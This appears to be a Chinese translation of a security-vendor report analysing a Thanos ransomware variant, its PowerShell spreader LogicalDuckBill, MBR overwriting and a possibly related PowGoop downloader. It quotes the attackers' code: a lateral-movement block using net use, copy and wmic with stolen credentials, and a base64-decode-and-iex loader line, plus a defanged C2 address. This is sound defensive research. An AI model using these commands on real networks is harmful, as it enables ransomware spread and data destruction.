譯者:知道創宇404實驗室翻譯組
原文鏈接:https://unit42.paloaltonetworks.com/thanos-ransomware/

摘要

在2020年7月6日和7月9日,我們觀察到與對中東和北非的兩個國有組織的攻擊有關的文件,這些組織最終安裝并運行了Thanos勒索軟件的變體。Thanos變體創建了一個文本文件,該文件顯示贖金消息,要求受害者將“ 20,000 $”轉入指定的比特幣錢包以恢復系統上的文件。我們無法了解這些攻擊的總體影響,也無法了解攻擊者是否成功從受害者那里獲得了付款。

圖1.加密文件后顯示的Thanos贖金記錄。

勒索軟件還被配置為覆蓋主引導記錄(MBR),主引導記錄是加載到系統硬盤上的一個重要組件,計算機需要它來定位和加載操作系統。勒索軟件重寫MBR以顯示與前面提到的文本文件相同的勒索消息,這是一種我們不常看到的技術。我們觀察到的最顯著的例子涉及2017年的Petya勒索軟件。重寫MBR是一種比通常更具破壞性的勒索軟件方法。即使受害者支付了贖金,他們也必須付出更多的努力來找回他們的檔案。幸運的是,在本例中,負責覆蓋MBR的代碼導致了異常,因為ransom消息包含無效字符,這使得MBR保持完整,并允許系統正確引導。這意味著,即使勒索軟件被配置為覆蓋MBR,攻擊者也無法成功導致感染Thanos勒索軟件的計算機無法啟動。

圖2.如果MBR覆蓋成功,則會顯示Thanos贖金記錄。

Thanos勒索軟件最初是由Recorded Future在2020年2月提出的,當時它在地下論壇上做廣告出售。Thanos勒索軟件具有一個構建器,該構建器允許參與者使用多種可用設置來自定義樣本。Thanos待售的事實表明,攻擊者可能使用此勒索軟件。但是,我們充滿信心地認為,同一攻擊者在襲擊中東和北非的兩個國有組織時使用了Thanos變體。

根據遙測技術,我們于2020年1月13日首次觀測到Thanos,此后已觀測到130多個獨特樣本。我們認為攻擊者可以事先訪問這些組織的網絡,因為樣本包含憑據,我們相信這些參與者在交付勒索軟件之前已從這些組織的網絡中的系統中竊取了憑據。

這種特殊的攻擊涉及多層PowerShell腳本,內聯C#代碼和Shellcode,以便將Thanos加載到內存中并在本地系統上運行。這些層主要基于可在開源框架(例如Sharp-SuiteDonut)中免費獲得的代碼。其中一層涉及自定義PowerShell,該PowerShell負責使用前面提到的被盜憑據將Thanos傳播到本地網絡上的其他系統。

我們分析了攻擊者為中東和北非國營組織建立的這個特定的Thanos樣本。我們確定這些組織已將勒索軟件加載到內存中并在內存中運行。我們發現Thanos變體在功能上與Fortinet在2020年7月討論的變體非常相似。Fortinet分析的樣本還包含啟用的網絡傳播功能,其中包括來自與我們所觀察到的中東國營組織位于同一直轄市的另一個國營組織的網絡憑證。Fortinet分析的樣本包括我們觀察到的相同的比特幣錢包和聯系電子郵件。當與在相同時間范圍內以同一城市中的組織作為目標的目標相結合時,這表明這些攻擊背后的共同行動者。

Palo Alto Networks的客戶免受Wildfire和Cortex XDR的保護,這些攻擊由WildFire和Cortex XDR保護,WildFire正確地將所有相關樣本識別為惡意樣本,Cortex XDR阻止了與勒索軟件感染有關的組件。

Thanos變體活動概述

我們不知道這些參與者是如何將Thanos勒索軟件交付給中東和北非的兩個國有組織的。但是,我們知道,使用這些工具背后的威脅組織先前已經訪問了這些網絡,因為它們已經從網絡中獲取了有效的憑據。在這兩個組織中都使用了完全相同的Thanos樣本,這表明同一演員使用Thanos構建器創建了樣本。

為這些網絡創建的Thanos示例在.NET Thanos勒索軟件在系統上運行之前執行幾層,特別是使用來自多個開源框架的代碼。這些層從一個PowerShell腳本開始,該腳本不僅將另一個PowerShell腳本作為子層加載,而且還嘗試使用以前被盜的憑據將勒索軟件傳播到網絡上的其他系統。第二層中的PowerShell只做內聯加載嵌入式C#代碼,因此初始PowerShell腳本可以執行它。C#代碼是第三層,它基于UrbanBishop,可作為GitHub上Sharp-Suite框架的一部分公開獲得。UrbanBishop代碼負責將shellcode寫入遠程進程并執行它,其中shellcode是運行Thanos勒索軟件之前的最后一層。在這種情況下,shellcode是由Donut創建的,Donut是另一個開源框架,它將生成可以在內存中加載和執行.NET程序集的shellcode。

圖3.為在系統上運行Thanos勒索軟件而執行的層。

PowerShell傳播器

PowerShell擴展器(我們稱為LogicalDuckBill)具有兩個主要用途:

  • 1.加載并運行Thanos勒索軟件。

  • 2.通過將自身復制到遠程系統并在遠程系統上執行,將其傳播到其他系統。

LogicalDuckBill中的加載程序功能以base64編碼的PowerShell腳本開始,它將使用IEX命令解碼并運行。解碼并執行的PowerShell包含以下代碼,該代碼有效地加載基于UrbanBishop的C#代碼,隨后LogicalDuckBill將調用該代碼以注入Shellcode:

$ code = @”
[基于UrbanBishop的C#代碼]
“ @
Add-Type -TypeDefinition $ code -Language CSharp

然后,LogicalDuckBill將在運行之前檢查“c:\”驅動器中是否存在名為“logdb.txt”或“logdb.txt.locked”的文件,這是散布器用來確保僅運行一個實例的方法每個系統上的嵌入式勒索軟件的數量。我們還觀察到另一個相關示例,該示例查找“logdbnnn.txt”,這就是為什么我們將此腳本稱為LogicalDuckBill。如果這些文件不存在,則LogicalDuckBill將向該文本文件寫入“1”,然后繼續執行其功能。

然后,LogicalDuckBill創建一個“notepad.exe”進程,然后它將在正在運行的進程中進行迭代以查找已創建的“notepad.exe”進程的進程ID(PID)。使用記事本進程的PID,PowerShell腳本基于UrbanBishop在已加載的C#代碼中調用“Do”方法,最終將Donut框架生成的shellcode注入記事本進程并執行。然后,shellcode解密并將嵌入式.NET可執行文件加載到內存中并執行該程序,這就是Thanos勒索軟件有效載荷。

LogicalDuckBill的擴展器功能從使用Get-NetTCPConnection cmdlet的腳本開始,以獲取系統上當前TCP連接的遠程地址。然后代碼看起來通過為那些與啟動這些遠程地址10,172和192作為第一字節和通過每個發現的網絡通過改變從最后一個八位字節將迭代1至254中的循環。對于每次迭代,該腳本將使用Test-NetConnection cmdlet來查看該腳本是否可以通過SMB端口tcp / 445連接到每個遠程系統,如果可以,它使用net use命令以以前的方式連接到遠程系統。憑證被盜并安裝遠程系統的C:驅動器到本地系統的X:驅動器。然后,腳本使用copy命令將自身復制到新映射的X:驅動器,該驅動器將LogicalDuckBill有效地復制到遠程系統。然后,腳本將使用wmic在遠程系統上運行流程調用create,以在遠程系統上運行新復制的LogicalDuckBill示例。擴展功能通過刪除映射的驅動器來完成每次迭代,所有這些操作均通過以下代碼執行:

if((Test-NetConnection $tr -Port 445).TcpTestSucceeded){

net use x: \\[IP address]\c$ /user:[Victim Domain]\[Username] [Password]

copy c:\windows\update4.ps1 x:\windows\update4.ps1

wmic /node:[IP address] /user:[Victim Domain]\[Username] /password:[Password] process call create “powershell -exec bypass -file c:\windows\update4.ps1”

net use x: /del /y

}

LogicalDuckBill中的這種傳播方法與Thanos的C#代碼中的傳播方法相似。但是,使用PowerShell腳本來傳播允許參與者在創建映射驅動器和使用wmic運行復制的PowerShell腳本時包含以前被盜的網絡憑據。

Thanos勒索軟件

Thanos勒索軟件是由Recorded Future在2020年2月首次發現的,當時它在地下論壇上做廣告出售。Thanos勒索軟件的代碼與其他勒索軟件變體(例如Hakbit)重疊,并且具有允許用戶使用各種可用設置自定義樣本的構建器。該勒索軟件似乎仍在積極開發中,因為與Recorded Future分析的原始樣本相比,我們觀察到了在中東和北非國有企業運行的樣本中新增的功能。實際上,運行在這兩個組織網絡上的Thanos勒索軟件在可用功能上更接近于Fortinet在2020年7月討論的變體。最明顯的區別是,這些示例中沒有提供Fortinet討論的禁用安全啟動的功能。

與其他Thanos勒索軟件示例一樣,在這兩個組織的網絡上運行的變體使用2048位RSA公鑰加密文件擴展名與表1中列出的文件擴展名匹配的文件。加密文件內容后,Thanos會將文件擴展名“.locked”添加到磁盤上的文件中。

表1. Thanos將加密的文件擴展名列表。

Thanos的這種變體將贖金記錄寫入名為“HOW_TO_DECYPHER_FILES.txt”的文件到桌面以及包含Thanos加密的文件的所有文件夾中。如圖2所示,贖金記錄要求將價值“ 20,000美元”的比特幣轉移到錢包“1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9”和聯系電子郵件“josephnull@secmail.pro”,以恢復加密文件。Fortinet博客和幾條推文中顯示的.HTA贖金說明顯示,其他研究人員和組織在2020年7月看到了聯系電子郵件和比特幣錢包ID 。

Thanos勒索軟件中的功能已被其他組織進行了分析。除了重新散布該分析之外,我們將僅討論在此Thanos變體中啟用的功能,而以前沒有討論過。但是,我們分別在表2和3中描述了在Thanos的此變體中禁用和啟用的先前討論的功能。

表2.禁用的功能,可能是Thanos勒索軟件構建器用戶界面(UI)上的未選中框。

表3.啟用的功能,可能是Thanos勒索軟件構建器UI上的復選框。

啟用的第一個配置選項與先前的Thanos變體的分析不匹配,首先是代碼嘗試禁用用戶帳戶控制(UAC),方法是將SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System中的鍵“LocalAccountTokenFilterPolicy”和“EnableLinkedConnections”設置為1。然后,它嘗試枚舉本地和映射的存儲卷。與omlocker用于枚舉卷的本地腳本幾乎完全相同。Ragnar Locker使用此腳本創建一個VirtualBox配置文件,該文件將這些卷設置為SharedFolders,從而允許Ragnar Locker在VirtualBox虛擬機中運行時訪問本地存儲卷,正如Sophos所討論的那樣。Thanos實現不會將結果寫入VirtualBox配置文件。相反,它只是將配置打印到屏幕上,但不保存輸出。因此,我們無法確定此功能的用途。

此示例中啟用的第二個功能在以前的Thanos變體中沒有觀察到,它涉及覆蓋主引導記錄(MBR)的能力。一旦代碼檢查操作系統版本不是“Windows 10”而是“Windows 8”,代碼將嘗試打開“\.\PhysicalDrive0”并寫入512字節字符串以偏移0。寫入“\.\PhysicalDrive0”偏移量0的字節數組最初有一條勒索消息:“您的文件已加密”。聯系我們:get-my-data@protonmail.com“…”,但在寫入磁盤之前,代碼將用以下字符串替換此字符串:

Don\xe2\x80\x99t worry, you can return all your files!\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact: josephnull@secmail.pro\r\n

在此特定示例中覆蓋MBR的有趣之處在于它無法正常工作,這可以歸因于編程錯誤或參與者包括的自定義消息。如上所示,自定義消息中的撇號字符的字節為“\xe2\x80\x99”,但代碼嘗試使用轉換.ToByte函數替換初始贖金字符串中的單個字節。但是,Unicode單引號字符是三個字節長,并導致異常,該異常打破了MBR覆蓋功能。我們確認,更改此單個字符后,MBR覆蓋功能將起作用,從而導致顯示以下內容,而不是Windows正常啟動:

在Thanos示例中,第三個先前未提及的功能涉及創建監視新連接的存儲卷的線程。該代碼使用管理事件監視程序,當使用以下WMI查詢連接新的存儲卷時,該事件監視程序將調用函數:

SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2

當事件監視程序檢測到新連接的存儲卷時,它將創建一個線程,該線程執行Thanos用來加密原始存儲卷上的文件的文件加密功能。

此版本的Thanos中添加的最后一個功能是能夠檢測并殺死更多分析工具以逃避檢測和分析的能力。該示例將枚舉正在運行的進程,并殺死名稱與以下內容匹配的進程:

表4.此Thanos變體將檢測并殺死以逃避檢測的工具列表。

可能相關的下載器:PowGoop簡介

雖然我們無法確認這一聯系,但我們相信,在中東國營組織部署塔諾斯勒索軟件的人也使用了一個我們稱之為PowGoop的下載程序。參與者將使用PowGoop下載器聯系遠程服務器,下載并執行其他PowerShell腳本。這些文件與前面討論的LogicalDuckBill示例存在于同一個環境中,但是我們沒有觀察到具體運行PowGoop和LogicalDuckBill擴展器的參與者。而且,正如預期的那樣,這個下載器中的PowerShell代碼和LogicalDuckBill之間幾乎沒有代碼重疊,因為它們的功能差別很大。唯一的代碼重疊是一個公共變量名$a,這兩個腳本在解碼之前都用來存儲base64編碼的數據,這不是一個足夠強的連接,不足以建議一個共同的作者。

PowGoop下載程序有兩個組件:DLL加載程序和基于PowerShell的下載程序。PowGoop加載器組件負責解密和運行包含PowGoop下載器的PowerShell代碼。與LogicalDuckBill位于同一環境中的PowGoop加載程序DLL的文件名為谷歌更新.dll這很可能是由合法的和簽名的googleupdate可執行文件附帶的。旁加載過程將從合法的谷歌更新.exe文件正在加載名為goupdate86.DLL的合法DLL。當goopdate86.dll庫加載谷歌更新.dll文件,它有效地運行PowGoop加載程序。我們觀察到以下可能相關的文件:

表5.與PowGoop下載器的側面加載相關的文件列表。

goopdate.dll文件是PowGoop加載程序,其功能存在于名為DllRegisterServer的導出函數中。goopdate.dll文件的DllEntryPoint函數(如果通過上述側面加載過程加載了該函數,則將被調用),無非就是嘗試使用以下命令來運行DllRegisterServer導出的函數:rundll32.exe <module filename>,DllRegisterServer

DllRegisterServer中的功能代碼讀取名為config.dat的文件,對其進行解碼并將其作為PowerShell腳本運行,該腳本是PowGoop下載器組件。為了解碼config.dat文件,DLL使用CreateProcessA函數構建并執行PowerShell腳本。由PowGoop加載程序構建的PowerShell腳本將讀取config.dat文件的內容,使用簡單的兩個減法運算法則對base64內容進行解碼和解密,并使用IEX命令運行結果PowGoop下載程序腳本,如下所示:

powershell -exec bypass function bdec($in){$out = [System.Convert]::FromBase64String($in);return [System.Text.Encoding]::UTF8.GetString($out);}function bDec2($szinput){$in = [System.Text.Encoding]::UTF8.GetBytes($szinput);for ($i=0; $i -le $in.count -1; $i++){$in[$i] = $in[$i] – 2;}return [System.Text.Encoding]::UTF8.GetString($in);}function bDd($in){$dec = bdec $in;$temp = bDec2 $dec;return $temp;}$a=get-content C:\\Users\\[username]\\Desktop

config.dat;$t =bDd $a;iex($t);

我們解密的config.dat文件是PowGoop下載器,參與者將其配置為使用以下URL作為其命令和控件(C2):http://107.174.241[.]175:80/index.php

PowGoop下載器將通過對此URL的HTTP GET請求與C2服務器通信。它期望C2服務器用base64編碼的數據響應請求,腳本將對這些數據進行解碼,并使用System.IO.壓縮.GzipStream,然后使用用于解密配置數據文件。它將首先與指揮控制系統通信,以獲得指揮與控制系統將分配給受損系統的唯一標識符值。在獲得此標識符后,腳本將繼續與C2通信以獲取任務,該腳本將解碼、解壓縮、解密并作為PowerShell腳本運行。該腳本通過使用add-by-two密碼對結果進行加密、壓縮密文并對其進行base64編碼,并使用GET請求將其發送到C2服務器,其中包含HTTP請求的Cookie字段中的數據,特別是R值。

結論

Actors使用Thanos勒索軟件對文件進行加密,并使用PowerShell腳本將其傳播到其他系統,特別是在中東和北非兩個國有組織的網絡上。Thanos變體創建了一個文本文件,該文件顯示贖金消息,要求受害者將“20,000 $”轉入指定的比特幣錢包以恢復系統上的文件。

盡管Thanos勒索軟件不是新的,但由于這些攻擊中使用的變體包含新功能,因此它仍處于積極開發中。新功能包括檢測和逃避更多分析工具的能力,通過Ragnar Locker勒索軟件使用的技術對本地存儲卷進行枚舉以及監視新連接的存儲設備的新功能。

最重要的是,Thanos的這種變體還包括覆蓋MBR并顯示相同贖金消息的新功能。覆蓋MBR是一種比Thanos以前使用的破壞性更大的勒索軟件,即使受害者支付了贖金,受害者也需要付出更多的努力才能恢復其文件。

通過以下方式,Palo Alto Networks客戶可以免受此博客中討論的攻擊的侵害:

  • 所有已知的Thanos勒索軟件和LogicalDuckBill樣本在WildFire中都有惡意判定。

  • AutoFocus客戶可以使用標簽ThanosLogicalDuckBillPowGoop跟蹤此勒索軟件,PowerShell傳播腳本以及可能相關的下載器。

  • Cortex XDR阻止了Thanos勒索軟件,LogicalDuckBill和PowGoop。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1330/